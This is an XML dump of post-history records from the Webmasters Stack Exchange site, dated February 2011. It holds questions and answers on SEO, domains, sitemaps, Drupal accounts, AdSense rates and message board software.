  <row Id="21446" PostHistoryTypeId="18" PostId="9629" RevisionGUID="ef376d67-850e-419d-acfe-82d4f3065755" CreationDate="2011-02-25T05:29:08.143" UserId="1253" Comment="from http://webmasters.stackexchange.com/questions/9627/good-message-board-for-a-website-e-g-phpbb" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="21447" PostHistoryTypeId="18" PostId="9612" RevisionGUID="ef376d67-850e-419d-acfe-82d4f3065755" CreationDate="2011-02-25T05:29:08.143" UserId="1253" Comment="from http://webmasters.stackexchange.com/questions/9627/good-message-board-for-a-website-e-g-phpbb" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="21449" PostHistoryTypeId="2" PostId="9680" RevisionGUID="243e2106-bf06-4cc7-957d-12a40b5c58b7" CreationDate="2011-02-25T06:05:37.967" UserDisplayName="user5650" Text="Depends on the niche.... finance related would be high. Googling will bring up some old results.&#xD;&#xA;&#xD;&#xA;My personal sports website does around $0.75 on an average." />
  <row Id="21450" PostHistoryTypeId="2" PostId="9681" RevisionGUID="facc8a1d-3df0-4bf6-be48-27d7da73c1e3" CreationDate="2011-02-25T06:01:14.163" UserDisplayName="Welsher" Text="I have my host (lunarpages) set up with a few add on domains to my main account.  These show up as sub-domains of my main account, but they can be reached by using the new domain I've created.  So:&#xD;&#xA;&#xD;&#xA;subdomain1.domain.com --&gt; www.mynewsite.com  &#xD;&#xA;subdomain2.domain.com --&gt; www.myothersite.com  &#xD;&#xA;&#xD;&#xA;etc.&#xD;&#xA;&#xD;&#xA;The problem is, mynewsite.com shows up in google with that domain, but myothersite.com shows up with subdomain2.domain.com.  &#xD;&#xA;&#xD;&#xA;I don't have a clue what might be causing this to happen.  If anyone has an advice or can point me in the right direction, I'd really appreciate it!&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;" />
  <row Id="21451" PostHistoryTypeId="1" PostId="9681" RevisionGUID="facc8a1d-3df0-4bf6-be48-27d7da73c1e3" CreationDate="2011-02-25T06:01:14.163" UserDisplayName="Welsher" Text="Google shows subdomain of main site instead of add on domain URL" />
  <row Id="21452" PostHistoryTypeId="3" PostId="9681" RevisionGUID="facc8a1d-3df0-4bf6-be48-27d7da73c1e3" CreationDate="2011-02-25T06:01:14.163" UserDisplayName="Welsher" Text="&lt;google&gt;&lt;domains&gt;&lt;url&gt;&lt;subdomain&gt;" />
  <row Id="21453" PostHistoryTypeId="17" PostId="9681" RevisionGUID="32236502-8072-4f25-803c-681242a58194" CreationDate="2011-02-25T06:27:23.933" UserId="-1" Comment="from http://superuser.com/questions/250143/google-shows-subdomain-of-main-site-instead-of-add-on-domain-url" Text="" />
  <row Id="21454" PostHistoryTypeId="5" PostId="9667" RevisionGUID="15acd69e-0ca5-49bc-b39e-beea8c2f3c3e" CreationDate="2011-02-25T07:33:42.897" UserId="1757" Comment="added 562 characters in body; deleted 1 characters in body" Text="Along with Ferodynamics' suggestions, you could also do the following:&#xD;&#xA;&#xD;&#xA; - Charge some members for a premium membership (e.g. most deviantArt users don't pay a cent and have access to most features; but a small minority choose to pay for a premium membership that gives them access to additional features).&#xD;&#xA; - Sell branded merchandise (t-shirts, hats, mugs) or supplemental products (e.g. Wikipedia offers their entire database on DVDs; deviantArt users can sell prints of their artwork, with dA taking a small percentage of the proceeds).&#xD;&#xA; - Find corporate sponsors&amp;mdash;this is similar to asking for donations, except that you target large companies that want to give to charities for tax or PR benefits.&#xD;&#xA; - Apply for grants&amp;mdash;you can apply for grants offered by private companies, non-profit organizations, or the government.&#xD;&#xA;&#xD;&#xA;Alternatively, some commercial companies (e.g. developers of open source software) offer products for free but gain free publicity and have their reputations boosted by the popularity of their products. They can then offer other commercial services which subsidize the development of their free products. For instance, CakeDC produces the open source MVC framework CakePHP. But they make their money from offering consulting, development, and training services related to CakePHP.&#xD;&#xA;&#xD;&#xA;Likewise, if the educational platform you're using for the site can be re-purposed for enterprise e-learning or knowledge management, then you can license it to commercial companies to pay for the free website. Or, with an SaaS model, you can use business memberships to subsidize the free memberships offered to private users.&#xD;&#xA;&#xD;&#xA;**Edit:**&lt;br/&gt;&#xD;&#xA;Christopher makes some good points about asking for donations. If you're only collecting relatively small amounts of money, you can easily set up a donate button from Paypal (if you're collecting a lot of money, you may consider subscribing to a payment gateway). Additionally, you should state what you'll be using the money for (e.g. hosting, hardware, new features/services, etc.) and perhaps offer recognition to those who donate. Some kind of fund-raising meter can also encourage donations and provide a sense of transparency/openness." />
  <row Id="21455" PostHistoryTypeId="6" PostId="9664" RevisionGUID="5af4f4e3-bf96-4686-826e-3866f650153a" CreationDate="2011-02-25T07:36:04.937" UserId="1757" Comment="add tags" Text="&lt;advertising&gt;&lt;free&gt;&lt;monetize&gt;&lt;non-profit&gt;" />
  <row Id="21456" PostHistoryTypeId="2" PostId="9682" RevisionGUID="3ad525a7-d775-4c23-8922-ea4d4831336e" CreationDate="2011-02-25T07:44:34.537" UserId="661" Text="If an alt attribute is appropriate, then the image is content. &#xD;&#xA;&#xD;&#xA;If the image is content, then it is not a *background* image, should not be applied with CSS and cannot be sanely turned into a sprite. " />
  <row Id="21457" PostHistoryTypeId="6" PostId="9612" RevisionGUID="67391fd8-8a97-4688-a970-dd0ed7b1e3db" CreationDate="2011-02-25T08:09:28.403" UserId="1757" Comment="retag" Text="&lt;linux&gt;&lt;forum&gt;&lt;web-applications&gt;&lt;software&gt;" />
  <row Id="21458" PostHistoryTypeId="2" PostId="9683" RevisionGUID="650f1c9d-9ff5-4692-a546-4be573ae2639" CreationDate="2011-02-25T08:22:24.520" UserId="5258" Text="on my drupal website, there are a lot of users with an invalid email address. I know because, either they have never logged in or their mails bounce. But I have to check manually, which is not good.&#xD;&#xA;&#xD;&#xA;When a user signs up with an email address, they receive a confirmation email. Is there a way to automatically disable an account if the user does not log in within the first day after receiving this confirmation mail? &#xD;&#xA;&#xD;&#xA;Alternatively, it would be OK to keep the accounts disabled until the user clicks a link on the confirmation mail.&#xD;&#xA;&#xD;&#xA;Are there plugins or settings in Drupal to do this?" />
  <row Id="21459" PostHistoryTypeId="1" PostId="9683" RevisionGUID="650f1c9d-9ff5-4692-a546-4be573ae2639" CreationDate="2011-02-25T08:22:24.520" UserId="5258" Text="Drupal accounts with dead addresses: how to de-activate?" />
  <row Id="21460" PostHistoryTypeId="3" PostId="9683" RevisionGUID="650f1c9d-9ff5-4692-a546-4be573ae2639" CreationDate="2011-02-25T08:22:24.520" UserId="5258" Text="&lt;drupal&gt;&lt;email&gt;" />
  <row Id="21461" PostHistoryTypeId="25" PostId="9674" RevisionGUID="30fec642-a9f1-4d5f-b352-425003c8780e" CreationDate="2011-02-25T08:22:53.310" Comment="http://twitter.com/#!/StackWebmasters/status/41050486199169024" />
  <row Id="21462" PostHistoryTypeId="2" PostId="9684" RevisionGUID="f76e5de8-269a-4856-9c14-6439801c78bd" CreationDate="2011-02-25T08:27:24.390" UserId="5258" Text="Hard to say. I bet Google knows, but they are not telling us. &#xD;&#xA;&#xD;&#xA;As an AdWords user, I aim for under 1$ per click in advertising (high tech niche product in the English language). That woud mean that the AdSense users get less than that amount because Google takes a cut." />
  <row Id="21463" PostHistoryTypeId="2" PostId="9685" RevisionGUID="dbbdf0c4-f60c-4312-9e23-d79dcae10c4e" CreationDate="2011-02-25T09:30:04.243" UserId="3435" Text="We had a website produced a few years ago with a .ORG domain name.  The site hadn't grown with our needs, so we've now got a new .co.uk site.  &#xD;&#xA;&#xD;&#xA;Our intention was to transfer the .org address to the new site on completion.&#xD;&#xA;&#xD;&#xA;Our new site is to go live soon, but the original .ORG site has gone offline (hosting expired I believe as the expiry date for the .ORG is in 2012) and we now discover that the .ORG domain name is registered to the web designer and not to anyone in our organisation.&#xD;&#xA;&#xD;&#xA;The WHOIS information gives us the technical contact as discountasp.net.&#xD;&#xA;&#xD;&#xA;What are the steps we can take here?  Our primary concern is getting the name servers changed (the current .ORG address goes nowhere) and ultimately we need to transfer ownership?&#xD;&#xA;&#xD;&#xA;The organisation in question is a community, non-profit organisation, so our pockets are not deep.&#xD;&#xA;&#xD;&#xA;Thanks in advance for any help.&#xD;&#xA;&#xD;&#xA;Stuart." />
  <row Id="21464" PostHistoryTypeId="1" PostId="9685" RevisionGUID="dbbdf0c4-f60c-4312-9e23-d79dcae10c4e" CreationDate="2011-02-25T09:30:04.243" UserId="3435" Text="How to change ownership of a domain name from &quot;missing&quot; web designer" />
  <row Id="21465" PostHistoryTypeId="3" PostId="9685" RevisionGUID="dbbdf0c4-f60c-4312-9e23-d79dcae10c4e" CreationDate="2011-02-25T09:30:04.243" UserId="3435" Text="&lt;domains&gt;&lt;domain-registration&gt;" />
  <row Id="21466" PostHistoryTypeId="2" PostId="9686" RevisionGUID="34f42cdb-d9f8-40d6-bf4a-dd4a6d37c6a5" CreationDate="2011-02-25T10:03:07.630" UserId="5568" Text="Most of the sitemap generators I've found all scan my internal files and base it on that. However using apache and htaccess I have many aliases for things for example:&#xD;&#xA;&#xD;&#xA;`/brand/model/photos/` is empty directory wise, but on the web it relocates it to a zenphoto gallery using htaccess.&#xD;&#xA;&#xD;&#xA;http://www.xml-sitemaps.com/ does What I need, but I'd like to have more control over it and I need it to be dynamic and run weekly or daily. Allow for specific change frequencies based on the file/directory. I also want to be able to make a &quot;pretty&quot; sitemap html file.&#xD;&#xA;&#xD;&#xA;Counting the photo gallery I have around 300 links, without the photo gallery more like 100.&#xD;&#xA;&#xD;&#xA;I have MySQL, PHP 5.3 installed." />
  <row Id="21467" PostHistoryTypeId="1" PostId="9686" RevisionGUID="34f42cdb-d9f8-40d6-bf4a-dd4a6d37c6a5" CreationDate="2011-02-25T10:03:07.630" UserId="5568" Text="Sitemap Generator Based on Clientside" />
  <row Id="21468" PostHistoryTypeId="3" PostId="9686" RevisionGUID="34f42cdb-d9f8-40d6-bf4a-dd4a6d37c6a5" CreationDate="2011-02-25T10:03:07.630" UserId="5568" Text="&lt;sitemap&gt;" />
  <row Id="21469" PostHistoryTypeId="4" PostId="9686" RevisionGUID="d43141d4-8d5e-495d-bc24-62ab755d43b0" CreationDate="2011-02-25T10:11:49.337" UserId="1757" Comment="reword title" Text="What are some client-side sitemap generators?" />
  <row Id="21470" PostHistoryTypeId="2" PostId="9687" RevisionGUID="3f8594db-203d-4cc9-9f29-61b48ac3857e" CreationDate="2011-02-25T10:22:00.663" UserId="4493" Text="Lawyer up - seriously, just-in-case.  I'd try contacting him first to see if you can negotiate transfer amicably, discountasp may be able to help you establish contact.  &#xD;&#xA;&#xD;&#xA;Worst case would be refusal, probably on the assumption that you'd bring cash to the table.  To seize control of the domain will otherwise probably require legal intervention, e.g. to prove that it is your trademark for example.  This path is complicated, so you should weight your options carefully, it may be cheaper to pay him off, or abandon the effort altogether." />
  <row Id="21471" PostHistoryTypeId="5" PostId="9687" RevisionGUID="e7590602-253f-4a8d-abb0-dabcd974f537" CreationDate="2011-02-25T10:28:04.850" UserId="4493" Comment="added 161 characters in body" Text="Lawyer up - seriously, just-in-case.  I'd try contacting him first to see if you can negotiate transfer amicably, discountasp may be able to help you establish contact.  &#xD;&#xA;&#xD;&#xA;Worst case would be refusal, probably on the assumption that you'd bring cash to the table.  To seize control of the domain will otherwise probably require legal intervention, e.g. to prove that it is your trademark for example, or that the domain name was created as part of the contract to create the website - i.e. your intellectual-property, just improperly registered.&#xD;&#xA;&#xD;&#xA;The legal path can be very complicated, so you should weight your options carefully, it may be cheaper to pay him off, or abandon the effort altogether." />
  <row Id="21472" PostHistoryTypeId="2" PostId="9688" RevisionGUID="df4321e1-21c1-4fb4-b0a0-0c12ab524991" CreationDate="2011-02-25T10:35:10.243" UserId="1757" Text="The best solution is to just generate dynamic sitemaps server-side. You have access to all of the application code and rewrite rules, so it doesn't really make sense to use a spidering tool to crawl your site. zenphoto has a plugin for generating sitemaps, as do most other CMSes. Just use a sitemap index to link to those sitemaps.&#xD;&#xA;&#xD;&#xA;But if you still want to use a webcrawler, [there are a few listed here][1].&#xD;&#xA;&#xD;&#xA;Some people at Google have also developed a pretty ingenious sitemap tool called the [Google Sitemap Generator][2]. Instead of spidering the site (which is just the same thing that Google/Bing/Yahoo already do), it monitors server traffic to see how users access your pages and creates sitemaps that way.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/sitemap-generators/wiki/SitemapGenerators&#xD;&#xA;  [2]: http://googlesitemapgenerator.googlecode.com/svn/trunk/doc/gsg-intro.html" />
  <row Id="21473" PostHistoryTypeId="2" PostId="9689" RevisionGUID="1a410384-a443-4ac7-8f41-17a15bdfd1db" CreationDate="2011-02-25T11:02:12.130" UserId="5631" Text="I have a h1 element on my page which is working great. I have also been using the title attribute on this element which I don't think has been causing much harm at all. My h1 title is &quot;The Great Ocean Road&quot; and the title attribute on that is &quot;Great Ocean Road&quot; - so it's a variation of the h1 text. These are both keywords for the site so i'm hoping it's a good thing for seo.&#xD;&#xA;&#xD;&#xA;Is that a bad idea do you think? I'm not sure what Search Engines think about using a title attribute or even if they would 'mark me down' for doing it in such a way. Do you think if the h1 text is &quot;The Great Ocean Road&quot;, the title attribute should be &quot;The Great Ocean Road&quot; aswell?&#xD;&#xA;&#xD;&#xA;Thank you in advance" />
  <row Id="21474" PostHistoryTypeId="1" PostId="9689" RevisionGUID="1a410384-a443-4ac7-8f41-17a15bdfd1db" CreationDate="2011-02-25T11:02:12.130" UserId="5631" Text="h1 title attribute" />
  <row Id="21475" PostHistoryTypeId="3" PostId="9689" RevisionGUID="1a410384-a443-4ac7-8f41-17a15bdfd1db" CreationDate="2011-02-25T11:02:12.130" UserId="5631" Text="&lt;seo&gt;" />
  <row Id="21476" PostHistoryTypeId="2" PostId="9690" RevisionGUID="202817ca-91d3-406b-8bc0-6eddd50053d4" CreationDate="2011-02-25T11:19:20.267" UserId="5653" Text="While testing searches for keywords on my site, I notice that a mirror of it at http://a8.8d.344a.static.theplanet.com/ sometimes appears at the top result rather than my primary domain. It looks like this is an alternative address for my server. Will the presence of identical content at this domain and at my primary domain result in a Google penalty? If so, what can I do about it?&#xD;&#xA;&#xD;&#xA;Thanks for any help..." />
  <row Id="21477" PostHistoryTypeId="1" PostId="9690" RevisionGUID="202817ca-91d3-406b-8bc0-6eddd50053d4" CreationDate="2011-02-25T11:19:20.267" UserId="5653" Text="SEO penalty for &quot;duplicate&quot; content when a site's also accessible via another domain name?" />
  <row Id="21478" PostHistoryTypeId="3" PostId="9690" RevisionGUID="202817ca-91d3-406b-8bc0-6eddd50053d4" CreationDate="2011-02-25T11:19:20.267" UserId="5653" Text="&lt;seo&gt;&lt;redirects&gt;" />
  <row Id="21479" PostHistoryTypeId="25" PostId="9686" RevisionGUID="9357a379-4ca8-447f-bd54-1b8ca923682f" CreationDate="2011-02-25T11:22:53.430" Comment="http://twitter.com/#!/StackWebmasters/status/41095785563176960" />
  <row Id="21480" PostHistoryTypeId="2" PostId="9691" RevisionGUID="ed553d4a-f682-4d9f-9230-4ac7a152ac6c" CreationDate="2011-02-20T21:02:16.593" UserId="5267" Text="I've been trying to install MoinMoin -wiki on this webserver, where I have no root access.  &#xD;&#xA;The server doesn't support wsgi, but it does support cgi/fcgi/etc.&#xD;&#xA;&#xD;&#xA;I've scoured google for a simple guide on how to accomplish this, but the only guides I found were from the year 2004 or so. Other guides always assumed that one has root access.&#xD;&#xA;&#xD;&#xA;So can anyone link a good tutorial for my question or just help me out here?&#xD;&#xA;&#xD;&#xA;Your help is appreciated :)&#xD;&#xA;&#xD;&#xA;P.S. Sorry if this is the wrong stack -page&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21481" PostHistoryTypeId="1" PostId="9691" RevisionGUID="ed553d4a-f682-4d9f-9230-4ac7a152ac6c" CreationDate="2011-02-20T21:02:16.593" UserId="5267" Text="Installing MoinMoin -wiki to my user directory on a server with no root access" />
  <row Id="21482" PostHistoryTypeId="3" PostId="9691" RevisionGUID="ed553d4a-f682-4d9f-9230-4ac7a152ac6c" CreationDate="2011-02-20T21:02:16.593" UserId="5267" Text="&lt;wiki&gt;" />
  <row Id="21483" PostHistoryTypeId="17" PostId="9691" RevisionGUID="a36608cd-edf3-4cf6-b1a3-4bcc95088da3" CreationDate="2011-02-25T11:31:43.793" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/12645/installing-moinmoin-wiki-to-my-user-directory-on-a-server-with-no-root-access" Text="" />
  <row Id="21484" PostHistoryTypeId="2" PostId="9692" RevisionGUID="81db8b7e-953e-4a92-be48-3400c2752fe3" CreationDate="2011-02-25T11:36:45.707" UserId="4311" Text="You might incur a penalty, which you can avoid by specifying the canonical URL on each page, so that Google ignores the duplicates.&#xD;&#xA;&#xD;&#xA;Full details are [here][1], but basically each page should include a tag like this in the &amp;lt;head&amp;gt; section:&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;canonical&quot; href=&quot;http://www.yoursite.com/path/to/file&quot; /&gt;&#xD;&#xA;&#xD;&#xA;But it would be better to use rewrites or name-based virtual servers to do 301 redirects from the generic domain to the one that you want to use.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="21485" PostHistoryTypeId="2" PostId="9693" RevisionGUID="a5a422f9-140c-41ae-b585-a3ad4789e070" CreationDate="2011-02-25T12:21:46.587" UserId="1757" Text="AFAIK, search engines don't index or read `title` attributes to determine keyword relevance. The `title` attribute is [usually][1] supposed to provide users with supplemental (or &quot;advisory&quot;) information on an element. It is commonly displayed as a tooltip (or spoken by an audio user-agent).&#xD;&#xA;&#xD;&#xA;Repeating your heading in a title attribute to load your page up with more keywords won't provide your users with any benefits or help you rank better. It might, however, get you penalized for over-optimization (being spammy).&#xD;&#xA;&#xD;&#xA;You should use meaningful text that provides useful supplementary info to users if you're going to add a `title` attribute to an element.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developer.mozilla.org/en/Correctly_Using_Titles_With_External_Stylesheets" />
  <row Id="21486" PostHistoryTypeId="5" PostId="9689" RevisionGUID="0ab1bfe9-6b24-4af8-95cf-0f04fe4437e0" CreationDate="2011-02-25T12:47:33.883" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Why don&amp;#39;t TITLE tags get indexed in google?](http://webmasters.stackexchange.com/questions/9572/why-dont-title-tags-get-indexed-in-google)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hello there,&#xD;&#xA;&#xD;&#xA;I have a h1 element on my page which is working great. I have also been using the title attribute on this element which I don't think has been causing much harm at all. My h1 title is &quot;The Great Ocean Road&quot; and the title attribute on that is &quot;Great Ocean Road&quot; - so it's a variation of the h1 text. These are both keywords for the site so i'm hoping it's a good thing for seo.&#xD;&#xA;&#xD;&#xA;Is that a bad idea do you think? I'm not sure what Search Engines think about using a title attribute or even if they would 'mark me down' for doing it in such a way. Do you think if the h1 text is &quot;The Great Ocean Road&quot;, the title attribute should be &quot;The Great Ocean Road&quot; aswell?&#xD;&#xA;&#xD;&#xA;Thank you in advance" />
  <row Id="21487" PostHistoryTypeId="10" PostId="9689" RevisionGUID="c396215e-079f-4c5a-b924-97283c92730e" CreationDate="2011-02-25T12:47:33.757" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="21488" PostHistoryTypeId="2" PostId="9694" RevisionGUID="6a1f9383-a3b3-4f62-9b13-9d1a6438d339" CreationDate="2011-02-25T12:49:16.113" UserId="5148" Text="You could consider trying A1 Sitemap Generator. Just make sure to uncheck &quot;simplified easy mode&quot;. Then you can control the crawler with the output and analysis filters handling URLs matching with strings, paths, regular expressions, file extensions and mime types.&#xD;&#xA;&#xD;&#xA;You can [automate sitemap generator][1] using scheduler / command line.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.microsystools.com/products/sitemap-generator/help/automate-sitemap-build-upload/" />
  <row Id="21489" PostHistoryTypeId="5" PostId="9615" RevisionGUID="91a2ad61-e4d9-4d66-b809-3a7f8d8f2057" CreationDate="2011-02-25T13:32:07.797" UserId="5648" Comment="Took that great link and premoted it" Text="**[8 Resources for Message Boards (Web 2.0)][1]**&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;phpBB and VBulletin are the most widely used by far.  &#xD;&#xA;&#xD;&#xA;I found phpBB easy to setup, maintain and easy to modify as well&#xD;&#xA;Never used vBulletin , but I have seen it in use with many hi-traffic sites&#xD;&#xA;&#xD;&#xA;Alternative to administering your own BB is to use a hosted version. Trust me the pain in managing a BB will change your mind.  ProBoards seems to be popular.&#xD;&#xA;&#xD;&#xA;I guess you need to consider what type of traffic you are going to get in to which features you may need in your BB. BB are always going to be targets for security issues, due to there makeup.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mashable.com/2008/08/06/message-boards-2/" />
  <row Id="21490" PostHistoryTypeId="24" PostId="9615" RevisionGUID="91a2ad61-e4d9-4d66-b809-3a7f8d8f2057" CreationDate="2011-02-25T13:32:07.797" Comment="Proposed by 5648 approved by 108 edit id of 35" />
  <row Id="21491" PostHistoryTypeId="5" PostId="9677" RevisionGUID="b1318b39-d14b-47c6-a16b-bd4a6de43a8e" CreationDate="2011-02-25T13:32:10.820" UserId="5648" Comment="further described, added link" Text="[MyBB][1] all the way. It used to be **commercial** but now is LGPL and open developed. Compared to vBulliten, as a free alternative. Has extensive moderation features and a reputation (warning) system. The module system is great and useful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mybb.com/" />
  <row Id="21492" PostHistoryTypeId="24" PostId="9677" RevisionGUID="b1318b39-d14b-47c6-a16b-bd4a6de43a8e" CreationDate="2011-02-25T13:32:10.820" Comment="Proposed by 5648 approved by 108 edit id of 36" />
  <row Id="21493" PostHistoryTypeId="2" PostId="9695" RevisionGUID="07e76063-aa54-4c71-a8a3-3e1596be099e" CreationDate="2011-02-25T13:46:47.363" UserDisplayName="user5657" Text="We've been debating the following SEO question at our office:&#xD;&#xA;&#xD;&#xA;If you block bot access to a page either via robots.txt or on-page noindex metadata, does that negate the value of any backlinks to that page?&#xD;&#xA;&#xD;&#xA;We have a client who wants to block some event booking form pages from being indexed as each booking form page has a unique URL parameter and the pages are &quot;clogging up&quot; the Google index; however lots of websites link to those booking form pages and we wouldn't want to lose the value of those links.&#xD;&#xA;&#xD;&#xA;Any opinions welcomed." />
  <row Id="21494" PostHistoryTypeId="1" PostId="9695" RevisionGUID="07e76063-aa54-4c71-a8a3-3e1596be099e" CreationDate="2011-02-25T13:46:47.363" UserDisplayName="user5657" Text="Do backlinks to blocked content add value?" />
  <row Id="21495" PostHistoryTypeId="3" PostId="9695" RevisionGUID="07e76063-aa54-4c71-a8a3-3e1596be099e" CreationDate="2011-02-25T13:46:47.363" UserDisplayName="user5657" Text="&lt;seo&gt;" />
  <row Id="21497" PostHistoryTypeId="2" PostId="9697" RevisionGUID="154dd6df-4b6a-42fb-aabf-83d8414010e0" CreationDate="2011-02-25T14:11:23.843" UserId="1757" Text="Using robots.txt, a blocked page can still be indexed by Google (URL only, or with data from trusted 3rd party sources) and receive PR if linked to by other pages. But its PR won't be passed to other pages.&#xD;&#xA;&#xD;&#xA;If you use the `noindex` metatag then that will prevent the page from appearing in the index at all, but the page will still be crawled and will receive PR from backlinks, which it will pass on to the pages it links to.&#xD;&#xA;&#xD;&#xA;However, you shouldn't worry about &quot;clogging&quot; SERPs. If people are linking to those pages, then clearly they're of some value to web users, therefore they should be indexed and appear in search results." />
  <row Id="21499" PostHistoryTypeId="25" PostId="9695" RevisionGUID="02d681c9-223b-4394-8704-5464aa99effb" CreationDate="2011-02-25T14:22:53.250" Comment="http://twitter.com/#!/StackWebmasters/status/41141083664547840" />
  <row Id="21500" PostHistoryTypeId="2" PostId="9698" RevisionGUID="dd3f74c6-bd11-4b8c-8105-5b478c98063c" CreationDate="2011-02-25T14:48:38.730" UserId="5659" Text="You should look into [bbPress][1]&#xD;&#xA;Its the fastest one available and easily customisable and can be extended with plugins. A lot like WordPress. And you can tightly integrate user tables, login, theme with your WordPress installation.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bbpress.org" />
  <row Id="21501" PostHistoryTypeId="2" PostId="9699" RevisionGUID="04f6171d-79d9-4f6c-8667-c34077767faa" CreationDate="2011-02-25T13:33:35.857" UserDisplayName="barlop" Text="I'm looking for a free domain, I know there are some, but I want one from a place that lets me edit DNS records. See the name servers, MX Records, the technical stuff.  I know godaddy has such an interface. If my terminology is wrong then please correct me obviously.&#xD;&#xA;" />
  <row Id="21502" PostHistoryTypeId="1" PostId="9699" RevisionGUID="04f6171d-79d9-4f6c-8667-c34077767faa" CreationDate="2011-02-25T13:33:35.857" UserDisplayName="barlop" Text="free domain with editing DNS records?" />
  <row Id="21503" PostHistoryTypeId="3" PostId="9699" RevisionGUID="04f6171d-79d9-4f6c-8667-c34077767faa" CreationDate="2011-02-25T13:33:35.857" UserDisplayName="barlop" Text="&lt;web-hosting&gt;" />
  <row Id="21504" PostHistoryTypeId="17" PostId="9699" RevisionGUID="c2267fbb-a240-4419-a45d-3df04f048a74" CreationDate="2011-02-25T15:05:11.297" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/12889/free-domain-with-editing-dns-records" Text="" />
  <row Id="21521" PostHistoryTypeId="5" PostId="9534" RevisionGUID="557b0dd8-2c89-4242-82ed-f894a1a7e76d" CreationDate="2011-02-25T16:51:29.620" UserId="1757" Comment="added 478 characters in body" Text="You're going about this wrong. First off, there's no practical way of doing what you want. Secondly, Google doesn't really care about what country you're hosted in. What they care about is which country your website is targeted at. If your site is aimed at Americans, then they might rank you higher in an SERP on Google.com than a site aimed at Brits with the same PR (your PR isn't affected by which country you're hosted in, only how many backlinks you have).&#xD;&#xA;&#xD;&#xA;Now, what Google uses to determine which country your site is aimed at includes your IP address, but that's not the only (or even most important) factor. Google also looks at your ccTLD, and the actual language your content is written in (you might also use the `Content-Language` header/meta tag and the `lang`/`xml:lang` attributes in your HTML to specify the region you're targetting&amp;mdash;e.g. en-US or en-GB, but [according to John Mueller](http://webmasters.stackexchange.com/questions/5043/how-can-i-prevent-google-mistakenly-offering-to-translate-a-page) Google has learned to ignore these hints since they're often incorrect). Of these factors, the actual language your content is in is the most important and then your ccTLD. Your IP is only relied upon if you have an international TLD. So if you have your content localized to the region you're targeting *and* you have the proper ccTLD, then that's more than enough to tell Google who the intended audience for this site is.&#xD;&#xA;&#xD;&#xA;There's also no reason to trick Google or create an &quot;illusion&quot;. SEO isn't a war against the search engine. After all, Google has a vested interest in getting your actual intended audience right. That's why, worse comes to worst, you can always specify a country for your site to be affiliated with in Google Webmaster Tools. This overrides any other factors Google uses to determine your target region.&#xD;&#xA;&#xD;&#xA;So to wrap things up, Google isn't trying to slight you or your business. And their geotargeted SERPs actually benefit businesses like yours that have localized websites for different regions. You don't have to worry about your PR.&#xD;&#xA;&#xD;&#xA;**Edit:**&lt;br/&gt;&#xD;&#xA;I forgot to mention that Google may also use your backlinks to guess at your targeted geographical region; this is probably less important than your ccTLD but still more important that your IP. So if there are lots of UK websites linking to your site and very few US websites, then Google can tell that your site is likely aimed at UK audiences." />
  <row Id="21522" PostHistoryTypeId="2" PostId="9703" RevisionGUID="655ad090-92b8-490a-add9-64a01644f1e9" CreationDate="2011-02-25T17:10:10.023" UserId="1757" Text="Domain registration costs money. No one is going to give domains away without some way to recoup the cost of annual registration fees. Even if they place ads on the domain, most sites aren't capable of generating ad revenue&amp;mdash;especially not sites run by webmasters unwilling to even purchase their own domain name. After all, if you don't believe your website is worth spending $8/year on, then how serious can you be about building a quality website? (And who else would want to spend money on your site?)&#xD;&#xA;&#xD;&#xA;If you're serious about your website, you should just fork out the cash (the cost of 3 cups of coffee a year) and buy the domain yourself. Otherwise, purchase some web hosting and get your free domain that way." />
  <row Id="21523" PostHistoryTypeId="2" PostId="9704" RevisionGUID="10c28132-514c-4fb4-98ea-9994d2c1b30b" CreationDate="2011-02-25T17:17:12.720" UserId="5647" Text="It depends on the niche for sure.  In areas where there is a lot of competition such as in the finance world for keywords such as &quot;mortgage&quot; or &quot;insurance&quot; the clicks are well above $1-$2.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21524" PostHistoryTypeId="17" PostId="9706" RevisionGUID="8c061e91-96fa-4012-85b5-06ddf4e0c437" CreationDate="2011-02-25T17:21:36.820" UserId="-1" Comment="from http://superuser.com/questions/62630/good-analytics-tools-that-can-track-visitor-actions-from-a-particular-source/62632#62632" Text="" />
  <row Id="21525" PostHistoryTypeId="17" PostId="9707" RevisionGUID="e0005de8-b623-4e90-bc7e-485fa4a26fb5" CreationDate="2011-02-25T17:21:36.820" UserId="-1" Comment="from http://superuser.com/questions/62630/good-analytics-tools-that-can-track-visitor-actions-from-a-particular-source/79881#79881" Text="" />
  <row Id="21526" PostHistoryTypeId="17" PostId="9708" RevisionGUID="ed27db08-255a-4c30-8cc6-4195b9a8a196" CreationDate="2011-02-25T17:21:36.820" UserId="-1" Comment="from http://superuser.com/questions/62630/good-analytics-tools-that-can-track-visitor-actions-from-a-particular-source/250367#250367" Text="" />
